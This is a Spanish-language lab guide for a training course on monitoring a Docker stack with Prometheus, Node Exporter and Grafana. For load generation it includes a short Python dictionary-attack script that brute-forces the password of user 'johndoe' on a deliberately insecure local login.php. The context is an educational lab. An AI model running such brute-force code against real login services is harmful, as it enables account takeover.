Monitorización con Prometheus y Grafana y simulación de carga con Python.

Contenido

[Recursos útiles 1](#_Toc203361916)

[Objetivo de la práctica 3](#_Toc203361917)

[Guía práctica YAML para Docker Compose 3](#_Toc203361918)

[Estructura básica de un archivo docker-compose.yml 3](#_Toc203361919)

[Comandos más comunes 4](#_Toc203361920)

[Nuestros Docker Compose 5](#_Toc203361921)

[prometheus.yml 5](#_Toc203361922)

[docker-compose.yml 6](#_Toc203361923)

[Levantamos nuestros Dockers 7](#_Toc203361924)

[Servicio login.php 7](#_Toc203361925)

[Servicios Prometheus y Grafana 8](#_Toc203361926)

[Crear Dashboard en Grafana 8](#_Toc203361927)

[Importando Dashboards realizados por otros usuarios 9](#_Toc203361928)

[Simulando carga 10](#_Toc203361929)

[Código Python de llamada a servicio PHP 10](#_Toc203361930)

[Instalación Visual Studio Code y Python 11](#_Toc203361931)

[Entregables de la práctica 12](#_Toc203361932)

[Continuará 12](#_Toc203361933)

# Recursos útiles

Recuerde el directorio de recursos compartidos disponible en:

<https://nascorformacion0-my.sharepoint.com/:f:/g/personal/juan_pinuela_docente_nascorformacion_com/EtGSBITnqFpJp6-XpG6REOQBFycP_G9zgcB89jxPymjV2Q?e=IBIEER>

Para esta práctica disponemos de una carpeta con nombre “**monitoring”** donde podemos encontrar todos los ficheros utilizados y creados en este guion.

# Objetivo de la práctica

Esta práctica tiene como objetivo introducir al estudiante en los conceptos fundamentales demonitorización a la vez que se profundiza en las claves para construir *stacks* en Docker mediante lenguaje YAML en fichero Docker compose.

En concreto, vamos a monitorizar la actividad del sistema y del contenedor PHP usando Prometheus, Node Exporter y Grafana. Se recomienda ver el siguiente video:

<https://www.youtube.com/watch?v=riFxqD_6XYI>

# Guía práctica YAML para Docker Compose

* YAML (YAML Ain’t Markup Language) es un lenguaje de serialización de datos legible por humanos.
* Se usa en Docker Compose para definir servicios, redes, volúmenes, etc.
* Indentación con espacios, no con tabs.
* Siempre usa 2 espacios por nivel.
* No pongas comillas si no es necesario, excepto en puertos tipo "3000:3000".
* Usa listas para arrays; por ejemplo:

ports:

- "80:80"

- "443:443"

* Validadores:
  + <https://codebeautify.org/yaml-validator>
  + <https://www.yamllint.com/>

### Estructura básica de un archivo docker-compose.yml

#### Ejemplo 1

version: '3.8' # Versión del esquema de Compose

services:

app:

image: node:18

ports:

- "3000:3000"

volumes:

- .:/app

working\_dir: /app

command: ["npm", "start"]

#### Ejemplo 2

version: '3.8'

services:

web:

build: .

ports:

- "8080:80"

volumes:

- ./web:/usr/share/nginx/html

depends\_on:

- db

db:

image: mysql:8

restart: always

environment:

MYSQL\_ROOT\_PASSWORD: rootpass

MYSQL\_DATABASE: exampledb

volumes:

- db\_data:/var/lib/mysql

volumes:

db\_data:

### Comandos más comunes

|  |  |
| --- | --- |
| Clave | Descripción |
| services | Define los contenedores que se van a usar |
| image | Imagen de Docker que se va a usar |
| build | Directorio o Dockerfile para construir la imagen |
| ports | Mapeo de puertos (`host:contenedor`) |
| volumes | Mapeo de volúmenes (`host:contenedor`) |
| networks | Redes definidas para conectar servicios |
| environment | Variables de entorno |
| depends\_on | Dependencias entre servicios |
| command | Comando a ejecutar al iniciar el contenedor |
| restart | Política de reinicio (always, on-failure, etc.) |

# Nuestros Docker Compose

### prometheus.yml

En base a la documentación oficial disponible en:

<https://prometheus.io/docs/prometheus/latest/configuration/configuration/>

Hacemos:

global:

scrape\_interval: 15s

scrape\_configs:

- job\_name: 'node'

static\_configs:

**- targets: ['node-exporter:9100']**

- job\_name: 'php-service'

static\_configs:

**- targets: ['host.docker.internal:8080']**

Tenemos dos “exporters” para Prometheus. En este caso se apunta a:

* Un servicio PHP expuesto localmente en el host a través de host.docker.internal y que como sabemos usa el puerto 8080 de nuestra máquina física (lo usaremos cuando Prometheus está dentro de Docker y quiere acceder al host).
* 'node-exporter:9100': servicio que expone métricas comunes como CPU, RAM, disco. Se trata de una herramienta oficial de Promtheus que expone métricas del sistema operativo en el endpoint HTTP :9100/metrics. Est servicio se expone en el YML principal objeto del comando Docker compose up. Como podremos ver en el siguiente apartado es el primer servicio que se define que se descarga de la imagen oficial prom/node-exporter: <https://hub.docker.com/r/prom/node-exporter>

Interfaz de usuario gráfica, Texto, Aplicación

El contenido generado por IA puede ser incorrecto.

### docker-compose.yml

version: '3'

services:

node-exporter:

image: prom/node-exporter

container\_name: node-exporter

ports:

- 9100:9100

prometheus:

image: prom/prometheus

container\_name: prometheus

volumes:

- ./prometheus.yml:/etc/prometheus/prometheus.yml

ports:

- 9090:9090

grafana:

image: grafana/grafana

container\_name: grafana

ports:

- 3000:3000

volumes:

- grafana-storage:/var/lib/grafana

volumes:

grafana-storage:

Además del mencionado node-exporter tenemos los siguientes servicios.

|  |  |  |
| --- | --- | --- |
| Servicio | Propósito | Puerto |
| node-exporter | Exponer métricas del sistema (CPU, RAM) | 9100 |
| prometheus | Recoger y almacenar métricas | 9090 |
| grafana | Visualizar métricas con dashboards | 3000 |

Comentar los siguientes aspectos respecto del *stack* creado:

* Es clave siguiendo la documentación oficial en: <https://prometheus.io/docs/prometheus/latest/installation/>

conocer como establecer el fichero de configuración de Prometheus definido anteriormente como un volumen del servicio.

* El bloque del servicio Grafana también mapea volúmenes en concreto a graga-storage que está definido para el host como un espacio que gestionará Docker automáticamente y por tanto no visible directamente ne Windows. Aquí se guardará toda la información persistente necesaria.

Interfaz de usuario gráfica, Texto, Aplicación

El contenido generado por IA puede ser incorrecto.

# Levantamos nuestros Dockers

### Servicio login.php

Nos aseguramos de tener levantado el servicio objetivo que en nuestro caso es la versión no segura disponible en <http://localhost:8080/login.php>

Interfaz de usuario gráfica, Texto, Aplicación, Correo electrónico

El contenido generado por IA puede ser incorrecto.

Podemos probar con Postman haciendo:

Interfaz de usuario gráfica, Texto, Aplicación, Correo electrónico

El contenido generado por IA puede ser incorrecto.

### Servicios Prometheus y Grafana

A continuación, levantamos el stack recién creado mediante los comandos:

**cd monitoring**

**docker compose up -d**

Si todo va bien tenemos ahora tres contenedores más en ejecución:

Interfaz de usuario gráfica, Texto, Aplicación

El contenido generado por IA puede ser incorrecto.

# Crear Dashboard en Grafana

Siga los siguientes pasos:

1. Accede a <http://localhost:3000>

* Usuario: admin, Contraseña: admin (se te pedirá cambiarla en el primer acceso)

1. Conecta Prometheus (<http://prometheus:9090>)

* En el menú lateral izquierdo, haz clic en "Configuration/Data Sources" y a continuación en "Add data source"
* Selecciona Prometheus y como URL: http://prometheus:9090
* Haz clic en "Save & test". Debería mostrar un mensaje de éxito.

1. Crear un dashboard y dentro paneles con, por ejemplo:

* node\_memory\_MemAvailable\_bytes

Interfaz de usuario gráfica, Aplicación

El contenido generado por IA puede ser incorrecto.

* node\_cpu\_seconds\_total
* node\_network\_receive\_bytes\_total

Lo que pasará es que se creará la monitorización pero los paneles apenas mostrarán movimiento, Esto es porque el contenedor no tiene o apenas tiene carga de trabajo.

Como node-exporter depende del sistema lo más fácil para ver movimiento es cargar el sistema con cosas ajenas los Dockers y que consuman mucho ancho de banda, memoria, etc. En cualquier caso, vamos a simular esa carga.

# Importando Dashboards realizados por otros usuarios

Podemos importar Dashboards utilizando la opción:

Imagen que contiene Forma

El contenido generado por IA puede ser incorrecto.

Que nos lleva a una pantalla donde podemos importar Dashboards públicos compartidos en la la siguiente dirección: <https://grafana.com/grafana/dashboards/>. Por ejemplo, si nos gusta NodeExporterFull, disponible en <https://grafana.com/grafana/dashboards/1860-node-exporter-full/> será suficiente con usar el Id 1860 para aplicar este Dashboard a nuestra monitorización con Prometheus, obteniendo:

Captura de pantalla de un videojuego

El contenido generado por IA puede ser incorrecto.

# Simulando carga

## Código Python de llamada a servicio PHP

Para smular carga copiamos de Postman el código Python asociado a la llamada, por ejemplo, copiando la versión basada ne la librería request.:

Interfaz de usuario gráfica, Texto, Aplicación, Correo electrónico

El contenido generado por IA puede ser incorrecto.

Necesitamos para ejecutar este código o mejor aún un ataque basado en este código disponer en nuestro ordenador de la opción de desarrollar programas en Python,

## Instalación Visual Studio Code y Python

Para poder ejecutar programas en Python vamos a seguir las instrucciones de:

<https://code.visualstudio.com/docs/python/python-tutorial>

Pasos:

1. Instalar Pyhton:
   1. Windows: <https://www.python.org/downloads/>
   2. Mac. <https://brew.sh/> y luego brew install python3

Es fundamental marcar la opción de añadir Python al PATH

1. Instalar Visual Studio Code <https://code.visualstudio.com/Download> donde se recomienda usar la versión “System Installer”.
2. Instalar la extensión para Python y seguir los pasos dados en:

<https://code.visualstudio.com/docs/python/python-tutorial>

Es esencial continuar hasta los últimos pasos donde se incide en la importancia de usar “pip” como gestor de dependencias o instalador de librerías de terceros, como por ejemplo, en nuestro caso instalar la librería requests con el comando:

pip install requests

Por ejemplo, el siguiente código hace un ataque de diccionario sobre el usuario johndoe

import requests

url = "http://api.local:8080/login.php"

username = "johndoe"

with open("password\_dict.txt", "r") as f:

for line in f:

  password = line.strip()

    payload = {

    "loginName": username,

      "password": password

    }

    try:

    response = requests.post(url, data=payload)

      if "Bienvenido" in response.text and response.status\_code == 200:

      print(f"[SUCCESS] Password válida encontrada: {password}")

  except Exception as e:

      print(f"[ERROR] {e}")

Con esta carga debería ser más sencillo obtener visualizaciones con variaciones significativas de las métricas utilizadas en el panel de control de Grafana.

# Entregables de la práctica

Se debe entregar un documento que incluya capturas o evidencias de:

* La interfaz de Grafana con al menos un **dashboard funcional creado por el alumno**.
* Paneles visibles que muestren al menos **tres métricas distintas** relevantes.
* Captura del código Python que simula carga sobre el servicio login.php o resultados de su ejecución.

A diferencia de otras prácticas, aquí se valora especialmente la **creatividad, la capacidad de exploración y el criterio técnico** del estudiante a la hora de diseñar el dashboard. Se premiará la capacidad para ir más allá de los ejemplos y adaptar la visualización a lo que se desea monitorizar con claridad y utilidad.

# Continuará

Esta práctica es solo el primer paso. Una posible mejora para futuras versiones es instrumentar el servicio login.php con métricas personalizadas que Prometheus pueda recolectar y Grafana visualizar.

Por ejemplo, podrías:

* Contar el número total de accesos a login.php.
* Diferenciar entre intentos fallidos y exitosos de login.
* Crear métricas para IP sospechosas o múltiples fallos consecutivos.

Estas métricas se pueden exponer en /metrics.php y añadir como nuevas series en Prometheus, lo que permitiría crear paneles avanzados, alertas automáticas o análisis de comportamiento sospechoso.

Como pista esto en PHP se puede hacer con librerías como:

composer require jimdo/prometheus\_client\_php

Donde estamos ya indicando que, como gestor de dependencias en PHP, al igual que pip en Python se recomienda usar **Composer**.

Un vídeo muy interesante a este respecto es, por ejemplo:

<https://www.youtube.com/watch?v=PCJwJpbln6Q>

¿Te atreves a dar el siguiente paso? 😉